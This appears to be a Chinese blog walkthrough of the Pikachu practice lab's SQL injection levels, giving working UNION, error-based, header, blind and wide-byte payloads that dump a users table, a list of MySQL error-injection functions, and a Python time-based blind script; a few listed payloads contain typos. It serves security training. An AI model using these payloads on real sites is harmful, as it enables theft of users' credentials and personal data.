pikachu SQL-Injection

1.数字型注入(POST)

 

 

 可以看到,这个参数提交是POST类型的,用burp。

 

 

 测试参数id 

id=1'&submit=%E6%9F%A5%E8%AF%A2

 

 

 可以看到有报错回显,而且根据回显可以判断这个注入为数字型注入,构造payload

查询此表单有多少列

 

 

 

 

 

 

 

 

 确定只有两列,union注入

id=-1 union select database(),version()

 

 

 查询出数据库名为pikachu  数据库版本为5.5.39

继续查询pikachu数据库内有什么表

id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

继续查询member表内有什么列、

id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='member'

 

 

 查询所有字段

id=-1 union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member

 

 

 用户表里的所有数据就被注入出来了。

2.字符型注入(get)

 先尝试查询

 

 

 测试sql注入

allen'

 

 

 出现报错,说明此字符型注入为 ' 闭合

 说明闭合成功,没有 ) 存在,而且经过测试没有过滤。所以直接用第一关的payload即可

allen' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

 

 

  所有用户数据都被注入出来了

3.搜索型注入

测试一下

 

 

 说明后台语句将参数传递进去时,查询语句的的目标为 al%'

测试发现没有过滤,直接用之前的payload,但是又有一点不同,这里有三个回显位,所以要加一个字段

0%' union select group_concat(id,username,pw,sex,phonenum,address,email),2,3 from member#

 

 

 所有用户数据都被注入出来了

4.xx型注入

照常测试

allen'

回显报错

 

 

 说明此语句闭合为   ('allen')

并且经过测试,此查询位置也没有过滤,可以直接用第二关的payload,稍微改造一下。

-1') union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

 

 

 用户信息都被注入出来。

5.insert/update注入

根据判断,此关为insert/update注入,应该是在注册或者修改用户账号信息的时候存在注入漏洞,如图。

 

 

 大致判断此处insert语句为

insert into user(name,password,sex,phone,address1,address2) value('1','1','1','1','1','1')

所以这里没办法使用select拼接,且无回显,我们需要利用报错注入来使数据库将目标信息当做错误信息返回回来

我们在这里使用最省力气的方法,如果在前几个字段注入,肯定还要闭合后面的字段,所以我们直接注入最后一个地址,而地址肯定为字符型,所以我们可以直接构造payload如下,前几个瞎填就行,因为这是最后一个字段,所以闭合括号之后,直接用#注释掉之后的语句即可

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

报错信息回显,select user()执行成功,而且此位置无过滤,想获得其他信息,参考之前的payload

 

除此之外,还有很多可以导致报错注入的函数。在这里分享一下。

1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

同理,做update注入,update肯定在修改个人信息的位置,我们同样选择最后一个框框,省事。

 

 还利用刚才的payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

结果发现报错了

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')#' where username='allen'' at line 1

这时才想起来update语句不太一样,update语句格式如下

UPDATE `member` SET `id`=[value-1],`username`=[value-2],`pw`=[value-3],`sex`=[value-4],`phonenum`=[value-5],`address`=[value-6],`email`=[value-7] WHERE 1

所以不管在哪个列都要闭合,所以改一下payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

返回结果正确

 

 其他数据,利用select语句查询。

6.delete注入

 

 此关长这样,判断应该是先留言,然后在删除的时候可以触发delete注入

先留个严,查看删除链接。

 

 可以判断这个id参数存在delete注入,先查看delete语句模板

DELETE FROM `member` WHERE id=$id;

直接构造payload

and 1=(updatexml(1,concat(0x3a,(select user())),1))

然后直接访问url

http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 and 1=(updatexml(1,concat(0x3a,(select%20user())),1))

看到delete报错注入成功

 

 其他信息利用select查询。

7.http header注入

首先发现需要登录,那就先登录试试。

 

 发现他获取了我的http头信息,所以应该是在http头构造sql语句。burp抓一下包

 

 因前端回显只有

Host: 127.0.0.1'or '1'='1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

所以在这三处进行测试。

 

 accept数据出现在报错信息里,所以注入点应该是在User-Agent

测试User-Agent发现,此处没有回显,可以猜测此处是先插入数据库,再输出到前端页面。所以我们可以使用报错注入。

1'and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

 

 发现注入成功。

8.盲注(based on boolian)

测试

 

然后测试 allen'

 

注释掉之后的语句

发现数据库有两列

 

 然后经过测试发现,此处根本不需要盲注。

 

 此关和字符型注入的差别就是,此关只能输出一行回显,所以一些人认为只能盲注。

但是我们只需要吧查询的字符改为不存在的字符,使得第一行消失,联合查询的结果就可以回显。所以我们使用下面的payload即可

-1' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

9.盲注(based on time)

照常测试,发现不管输入正确的用户名还是错误的用户名,回显都是  i don't care who you are!

 

 

 

说明后台并没有将数据库命令执行信息回显到前端。这种情况只能使用时间盲注。

先测试一下数据库名的长度

allen' and If(length(database())=7,sleep(5),1)#

 

 发现当length为7的时候  执行了sleep(5)所以,数据库名长度为7

写脚本。

import requests
import urllib
headers = {
"Host": "127.0.0.1" ,
"Connection": "keep-alive" ,
"Upgrade-Insecure-Requests": "1" ,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ,
"Sec-Fetch-User": "?1" ,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-Mode": "navigate ",
"Referer": "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" ,
"Accept-Encoding": "gzip, deflate, br ",
"Accept-Language":"zh-CN,zh;q=0.9"}
cookies = {
"Cookie":" PHPSESSID=899k0pd0igmcrftk05e1iqo806 "}


def six_six_six(url):
    flag = ''
    for j in range(7):
        for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
            data = url + "allen%27+and+If%28ascii%28substr%28database%28%29%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2".format(j=j+1,i=ord(i))+r"&submit=查询#"
            try:
                requests.get(url=data,headers = headers,cookies = cookies,timeout=5)
            except:
                flag=flag+i
                print('[*]%s'%flag)
                break
    print('[+]%s'%flag)

url = 'http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name='
six_six_six(url)
'''sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
(select(flag)from(flag)where(flag)like('f%'))like('f%')
(select(flag)from(flag)where(flag)like('f%'))'''

跑一下

 

 成功跑出数据库名

想注入出其他的信息,可以利用下面的payload

allen%27+and+If%28ascii%28substr%28select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2

其他与之前的代码相同。

10.宽字节注入

 先抓包。

 

 已经知道此关为宽字节注入,但是pikachu不好的地方就是这里,因为此关没有报错回显,所以没有比较好的办法去判断此处是不是宽字节注入。

宽字节注入最明显的一个特征就是GBK编码,GBK编码与ascii编码和utf-8不同的地方就是GBK会吃字符。比如说在服务端开启了转义函数后 %df' 就会被编码成 運’

但是在此关因为没有回显,只能强行闭合。

kobe%df' or 1=1#

同理payload 可以为

allen%df' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

 

 

 其他与之前的相同

posted @ 2019-12-18 21:22  S4tan  阅读(526)  评论(0)    收藏  举报